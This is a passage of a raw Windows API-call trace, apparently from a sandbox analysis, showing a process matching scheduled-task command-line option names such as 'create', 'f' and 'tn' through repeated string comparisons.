_Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|create|") returned 8 [0180.744] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|f|") returned 3 [0180.744] lstrlenW (lpString="|create|") returned 8 [0180.744] lstrlenW (lpString="|f|") returned 3 [0180.744] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0180.744] SetLastError (dwErrCode=0x490) [0180.744] lstrlenW (lpString="?") returned 1 [0180.744] lstrlenW (lpString="?") returned 1 [0180.744] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.744] lstrlenW (lpString="f") returned 1 [0180.744] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.744] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|?|") returned 3 [0180.744] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|f|") returned 3 [0180.744] lstrlenW (lpString="|?|") returned 3 [0180.744] lstrlenW (lpString="|f|") returned 3 [0180.744] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0180.744] SetLastError (dwErrCode=0x490) [0180.744] lstrlenW (lpString="s") returned 1 [0180.744] lstrlenW (lpString="s") returned 1 [0180.744] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.744] lstrlenW (lpString="f") returned 1 [0180.744] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.744] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|s|") returned 3 [0180.744] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|f|") returned 3 [0180.744] lstrlenW (lpString="|s|") returned 3 [0180.744] lstrlenW (lpString="|f|") returned 3 [0180.744] StrStrIW (lpFirst="|s|", lpSrch="|f|") returned 0x0 [0180.744] SetLastError (dwErrCode=0x490) [0180.744] lstrlenW (lpString="u") returned 1 [0180.744] lstrlenW (lpString="u") returned 1 [0180.744] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.744] lstrlenW (lpString="f") returned 1 [0180.744] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.744] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|u|") returned 3 [0180.744] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|f|") returned 3 [0180.744] lstrlenW (lpString="|u|") returned 3 [0180.744] lstrlenW (lpString="|f|") returned 3 [0180.744] StrStrIW (lpFirst="|u|", lpSrch="|f|") returned 0x0 [0180.745] SetLastError (dwErrCode=0x490) [0180.745] lstrlenW (lpString="p") returned 1 [0180.745] lstrlenW (lpString="p") returned 1 [0180.745] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.745] lstrlenW (lpString="f") returned 1 [0180.745] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.745] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|p|") returned 3 [0180.745] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|f|") returned 3 [0180.745] lstrlenW (lpString="|p|") returned 3 [0180.745] lstrlenW (lpString="|f|") returned 3 [0180.745] StrStrIW (lpFirst="|p|", lpSrch="|f|") returned 0x0 [0180.745] SetLastError (dwErrCode=0x490) [0180.745] lstrlenW (lpString="ru") returned 2 [0180.745] lstrlenW (lpString="ru") returned 2 [0180.745] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.745] lstrlenW (lpString="f") returned 1 [0180.745] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.745] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|ru|") returned 4 [0180.745] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|f|") returned 3 [0180.745] lstrlenW (lpString="|ru|") returned 4 [0180.745] lstrlenW (lpString="|f|") returned 3 [0180.745] StrStrIW (lpFirst="|ru|", lpSrch="|f|") returned 0x0 [0180.745] SetLastError (dwErrCode=0x490) [0180.745] lstrlenW (lpString="rp") returned 2 [0180.745] lstrlenW (lpString="rp") returned 2 [0180.745] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.745] lstrlenW (lpString="f") returned 1 [0180.745] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.745] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|rp|") returned 4 [0180.745] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|f|") returned 3 [0180.745] lstrlenW (lpString="|rp|") returned 4 [0180.745] lstrlenW (lpString="|f|") returned 3 [0180.745] StrStrIW (lpFirst="|rp|", lpSrch="|f|") returned 0x0 [0180.745] SetLastError (dwErrCode=0x490) [0180.745] lstrlenW (lpString="sc") returned 2 [0180.745] lstrlenW (lpString="sc") returned 2 [0180.745] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.745] lstrlenW (lpString="f") returned 1 [0180.745] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.745] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|sc|") returned 4 [0180.745] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|f|") returned 3 [0180.745] lstrlenW (lpString="|sc|") returned 4 [0180.745] lstrlenW (lpString="|f|") returned 3 [0180.745] StrStrIW (lpFirst="|sc|", lpSrch="|f|") returned 0x0 [0180.745] SetLastError (dwErrCode=0x490) [0180.745] lstrlenW (lpString="mo") returned 2 [0180.745] lstrlenW (lpString="mo") returned 2 [0180.745] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.745] lstrlenW (lpString="f") returned 1 [0180.745] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.745] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|mo|") returned 4 [0180.745] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|f|") returned 3 [0180.746] lstrlenW (lpString="|mo|") returned 4 [0180.746] lstrlenW (lpString="|f|") returned 3 [0180.746] StrStrIW (lpFirst="|mo|", lpSrch="|f|") returned 0x0 [0180.746] SetLastError (dwErrCode=0x490) [0180.746] lstrlenW (lpString="d") returned 1 [0180.746] lstrlenW (lpString="d") returned 1 [0180.746] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.746] lstrlenW (lpString="f") returned 1 [0180.746] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.746] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|d|") returned 3 [0180.746] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|f|") returned 3 [0180.746] lstrlenW (lpString="|d|") returned 3 [0180.746] lstrlenW (lpString="|f|") returned 3 [0180.746] StrStrIW (lpFirst="|d|", lpSrch="|f|") returned 0x0 [0180.746] SetLastError (dwErrCode=0x490) [0180.746] lstrlenW (lpString="m") returned 1 [0180.746] lstrlenW (lpString="m") returned 1 [0180.746] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.746] lstrlenW (lpString="f") returned 1 [0180.746] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.746] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|m|") returned 3 [0180.746] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|f|") returned 3 [0180.746] lstrlenW (lpString="|m|") returned 3 [0180.746] lstrlenW (lpString="|f|") returned 3 [0180.746] StrStrIW (lpFirst="|m|", lpSrch="|f|") returned 0x0 [0180.746] SetLastError (dwErrCode=0x490) [0180.746] lstrlenW (lpString="i") returned 1 [0180.746] lstrlenW (lpString="i") returned 1 [0180.746] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.746] lstrlenW (lpString="f") returned 1 [0180.746] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.746] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|i|") returned 3 [0180.746] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|f|") returned 3 [0180.746] lstrlenW (lpString="|i|") returned 3 [0180.746] lstrlenW (lpString="|f|") returned 3 [0180.746] StrStrIW (lpFirst="|i|", lpSrch="|f|") returned 0x0 [0180.746] SetLastError (dwErrCode=0x490) [0180.746] lstrlenW (lpString="tn") returned 2 [0180.746] lstrlenW (lpString="tn") returned 2 [0180.746] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.746] lstrlenW (lpString="f") returned 1 [0180.746] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.746] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|tn|") returned 4 [0180.746] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|f|") returned 3 [0180.746] lstrlenW (lpString="|tn|") returned 4 [0180.746] lstrlenW (lpString="|f|") returned 3 [0180.746] StrStrIW (lpFirst="|tn|", lpSrch="|f|") returned 0x0 [0180.746] SetLastError (dwErrCode=0x490) [0180.746] lstrlenW (lpString="tr") returned 2 [0180.746] lstrlenW (lpString="tr") returned 2 [0180.746] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.746] lstrlenW (lpString="f") returned 1 [0180.746] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.747] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|tr|") returned 4 [0180.747] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|f|") returned 3 [0180.747] lstrlenW (lpString="|tr|") returned 4 [0180.747] lstrlenW (lpString="|f|") returned 3 [0180.747] StrStrIW (lpFirst="|tr|", lpSrch="|f|") returned 0x0 [0180.747] SetLastError (dwErrCode=0x490) [0180.747] lstrlenW (lpString="st") returned 2 [0180.747] lstrlenW (lpString="st") returned 2 [0180.747] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.747] lstrlenW (lpString="f") returned 1 [0180.747] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.747] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|st|") returned 4 [0180.747] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|f|") returned 3 [0180.747] lstrlenW (lpString="|st|") returned 4 [0180.747] lstrlenW (lpString="|f|") returned 3 [0180.747] StrStrIW (lpFirst="|st|", lpSrch="|f|") returned 0x0 [0180.747] SetLastError (dwErrCode=0x490) [0180.747] lstrlenW (lpString="sd") returned 2 [0180.747] lstrlenW (lpString="sd") returned 2 [0180.747] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.747] lstrlenW (lpString="f") returned 1 [0180.747] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.747] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|sd|") returned 4 [0180.747] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|f|") returned 3 [0180.747] lstrlenW (lpString="|sd|") returned 4 [0180.747] lstrlenW (lpString="|f|") returned 3 [0180.747] StrStrIW (lpFirst="|sd|", lpSrch="|f|") returned 0x0 [0180.747] SetLastError (dwErrCode=0x490) [0180.747] lstrlenW (lpString="ed") returned 2 [0180.747] lstrlenW (lpString="ed") returned 2 [0180.747] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.747] lstrlenW (lpString="f") returned 1 [0180.747] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.747] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|ed|") returned 4 [0180.747] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|f|") returned 3 [0180.747] lstrlenW (lpString="|ed|") returned 4 [0180.747] lstrlenW (lpString="|f|") returned 3 [0180.747] StrStrIW (lpFirst="|ed|", lpSrch="|f|") returned 0x0 [0180.747] SetLastError (dwErrCode=0x490) [0180.747] lstrlenW (lpString="it") returned 2 [0180.747] lstrlenW (lpString="it") returned 2 [0180.747] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.747] lstrlenW (lpString="f") returned 1 [0180.747] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.747] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|it|") returned 4 [0180.747] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|f|") returned 3 [0180.747] lstrlenW (lpString="|it|") returned 4 [0180.747] lstrlenW (lpString="|f|") returned 3 [0180.747] StrStrIW (lpFirst="|it|", lpSrch="|f|") returned 0x0 [0180.747] SetLastError (dwErrCode=0x490) [0180.747] lstrlenW (lpString="et") returned 2 [0180.748] lstrlenW (lpString="et") returned 2 [0180.748] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.748] lstrlenW (lpString="f") returned 1 [0180.748] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.748] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|et|") returned 4 [0180.748] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|f|") returned 3 [0180.748] lstrlenW (lpString="|et|") returned 4 [0180.748] lstrlenW (lpString="|f|") returned 3 [0180.748] StrStrIW (lpFirst="|et|", lpSrch="|f|") returned 0x0 [0180.748] SetLastError (dwErrCode=0x490) [0180.748] lstrlenW (lpString="k") returned 1 [0180.748] lstrlenW (lpString="k") returned 1 [0180.748] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.748] lstrlenW (lpString="f") returned 1 [0180.748] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.748] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|k|") returned 3 [0180.748] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|f|") returned 3 [0180.748] lstrlenW (lpString="|k|") returned 3 [0180.748] lstrlenW (lpString="|f|") returned 3 [0180.748] StrStrIW (lpFirst="|k|", lpSrch="|f|") returned 0x0 [0180.748] SetLastError (dwErrCode=0x490) [0180.748] lstrlenW (lpString="du") returned 2 [0180.748] lstrlenW (lpString="du") returned 2 [0180.748] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.748] lstrlenW (lpString="f") returned 1 [0180.748] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.748] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|du|") returned 4 [0180.748] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|f|") returned 3 [0180.748] lstrlenW (lpString="|du|") returned 4 [0180.748] lstrlenW (lpString="|f|") returned 3 [0180.748] StrStrIW (lpFirst="|du|", lpSrch="|f|") returned 0x0 [0180.748] SetLastError (dwErrCode=0x490) [0180.748] lstrlenW (lpString="ri") returned 2 [0180.748] lstrlenW (lpString="ri") returned 2 [0180.748] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.748] lstrlenW (lpString="f") returned 1 [0180.748] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.748] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|ri|") returned 4 [0180.748] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|f|") returned 3 [0180.748] lstrlenW (lpString="|ri|") returned 4 [0180.748] lstrlenW (lpString="|f|") returned 3 [0180.748] StrStrIW (lpFirst="|ri|", lpSrch="|f|") returned 0x0 [0180.748] SetLastError (dwErrCode=0x490) [0180.748] lstrlenW (lpString="z") returned 1 [0180.748] lstrlenW (lpString="z") returned 1 [0180.748] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.748] lstrlenW (lpString="f") returned 1 [0180.748] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.748] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|z|") returned 3 [0180.748] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|f|") returned 3 [0180.748] lstrlenW (lpString="|z|") returned 3 [0180.749] lstrlenW (lpString="|f|") returned 3 [0180.749] StrStrIW (lpFirst="|z|", lpSrch="|f|") returned 0x0 [0180.749] SetLastError (dwErrCode=0x490) [0180.749] lstrlenW (lpString="f") returned 1 [0180.749] lstrlenW (lpString="f") returned 1 [0180.749] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.749] lstrlenW (lpString="f") returned 1 [0180.749] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.749] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|f|") returned 3 [0180.749] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|f|") returned 3 [0180.749] lstrlenW (lpString="|f|") returned 3 [0180.749] lstrlenW (lpString="|f|") returned 3 [0180.749] StrStrIW (lpFirst="|f|", lpSrch="|f|") returned="|f|" [0180.749] SetLastError (dwErrCode=0x0) [0180.749] SetLastError (dwErrCode=0x0) [0180.749] SetLastError (dwErrCode=0x0) [0180.749] lstrlenW (lpString="/tn") returned 3 [0180.749] lstrlenW (lpString="-/") returned 2 [0180.749] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0180.749] lstrlenW (lpString="create") returned 6 [0180.749] lstrlenW (lpString="create") returned 6 [0180.749] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.749] lstrlenW (lpString="tn") returned 2 [0180.749] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.749] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x9, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|create|") returned 8 [0180.749] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|tn|") returned 4 [0180.749] lstrlenW (lpString="|create|") returned 8 [0180.749] lstrlenW (lpString="|tn|") returned 4 [0180.749] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0180.749] SetLastError (dwErrCode=0x490) [0180.749] lstrlenW (lpString="?") returned 1 [0180.749] lstrlenW (lpString="?") returned 1 [0180.749] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.749] lstrlenW (lpString="tn") returned 2 [0180.749] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.749] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|?|") returned 3 [0180.749] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|tn|") returned 4 [0180.749] lstrlenW (lpString="|?|") returned 3 [0180.749] lstrlenW (lpString="|tn|") returned 4 [0180.749] SetLastError (dwErrCode=0x490) [0180.749] lstrlenW (lpString="s") returned 1 [0180.749] lstrlenW (lpString="s") returned 1 [0180.749] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.749] lstrlenW (lpString="tn") returned 2 [0180.749] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.749] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|s|") returned 3 [0180.749] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|tn|") returned 4 [0180.749] lstrlenW (lpString="|s|") returned 3 [0180.749] lstrlenW (lpString="|tn|") returned 4 [0180.749] SetLastError (dwErrCode=0x490) [0180.749] lstrlenW (lpString="u") returned 1 [0180.749] lstrlenW (lpString="u") returned 1 [0180.749] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.750] lstrlenW (lpString="tn") returned 2 [0180.750] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.750] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|u|") returned 3 [0180.750] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|tn|") returned 4 [0180.750] lstrlenW (lpString="|u|") returned 3 [0180.750] lstrlenW (lpString="|tn|") returned 4 [0180.750] SetLastError (dwErrCode=0x490) [0180.750] lstrlenW (lpString="p") returned 1 [0180.750] lstrlenW (lpString="p") returned 1 [0180.750] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.750] lstrlenW (lpString="tn") returned 2 [0180.750] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.750] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|p|") returned 3 [0180.750] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|tn|") returned 4 [0180.750] lstrlenW (lpString="|p|") returned 3 [0180.750] lstrlenW (lpString="|tn|") returned 4 [0180.750] SetLastError (dwErrCode=0x490) [0180.750] lstrlenW (lpString="ru") returned 2 [0180.750] lstrlenW (lpString="ru") returned 2 [0180.750] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.750] lstrlenW (lpString="tn") returned 2 [0180.750] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.750] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|ru|") returned 4 [0180.750] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|tn|") returned 4 [0180.750] lstrlenW (lpString="|ru|") returned 4 [0180.750] lstrlenW (lpString="|tn|") returned 4 [0180.750] StrStrIW (lpFirst="|ru|", lpSrch="|tn|") returned 0x0 [0180.750] SetLastError (dwErrCode=0x490) [0180.750] lstrlenW (lpString="rp") returned 2 [0180.750] lstrlenW (lpString="rp") returned 2 [0180.750] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.750] lstrlenW (lpString="tn") returned 2 [0180.750] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.750] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|rp|") returned 4 [0180.750] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|tn|") returned 4 [0180.750] lstrlenW (lpString="|rp|") returned 4 [0180.750] lstrlenW (lpString="|tn|") returned 4 [0180.750] StrStrIW (lpFirst="|rp|", lpSrch="|tn|") returned 0x0 [0180.750] SetLastError (dwErrCode=0x490) [0180.750] lstrlenW (lpString="sc") returned 2 [0180.750] lstrlenW (lpString="sc") returned 2 [0180.750] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.750] lstrlenW (lpString="tn") returned 2 [0180.750] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.750] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|sc|") returned 4 [0180.750] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|tn|") returned 4 [0180.750] lstrlenW (lpString="|sc|") returned 4 [0180.750] lstrlenW (lpString="|tn|") returned 4 [0180.750] StrStrIW (lpFirst="|sc|", lpSrch="|tn|") returned 0x0 [0180.750] SetLastError (dwErrCode=0x490) [0180.750] lstrlenW (lpString="mo") returned 2 [0180.750] lstrlenW (lpString="mo") returned 2 [0180.751] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.751] lstrlenW (lpString="tn") returned 2 [0180.751] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.751] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|mo|") returned 4 [0180.751] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|tn|") returned 4 [0180.751] lstrlenW (lpString="|mo|") returned 4 [0180.751] lstrlenW (lpString="|tn|") returned 4 [0180.751] StrStrIW (lpFirst="|mo|", lpSrch="|tn|") returned 0x0 [0180.751] SetLastError (dwErrCode=0x490) [0180.751] lstrlenW (lpString="d") returned 1 [0180.751] lstrlenW (lpString="d") returned 1 [0180.751] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.751] lstrlenW (lpString="tn") returned 2 [0180.751] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.751] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|d|") returned 3 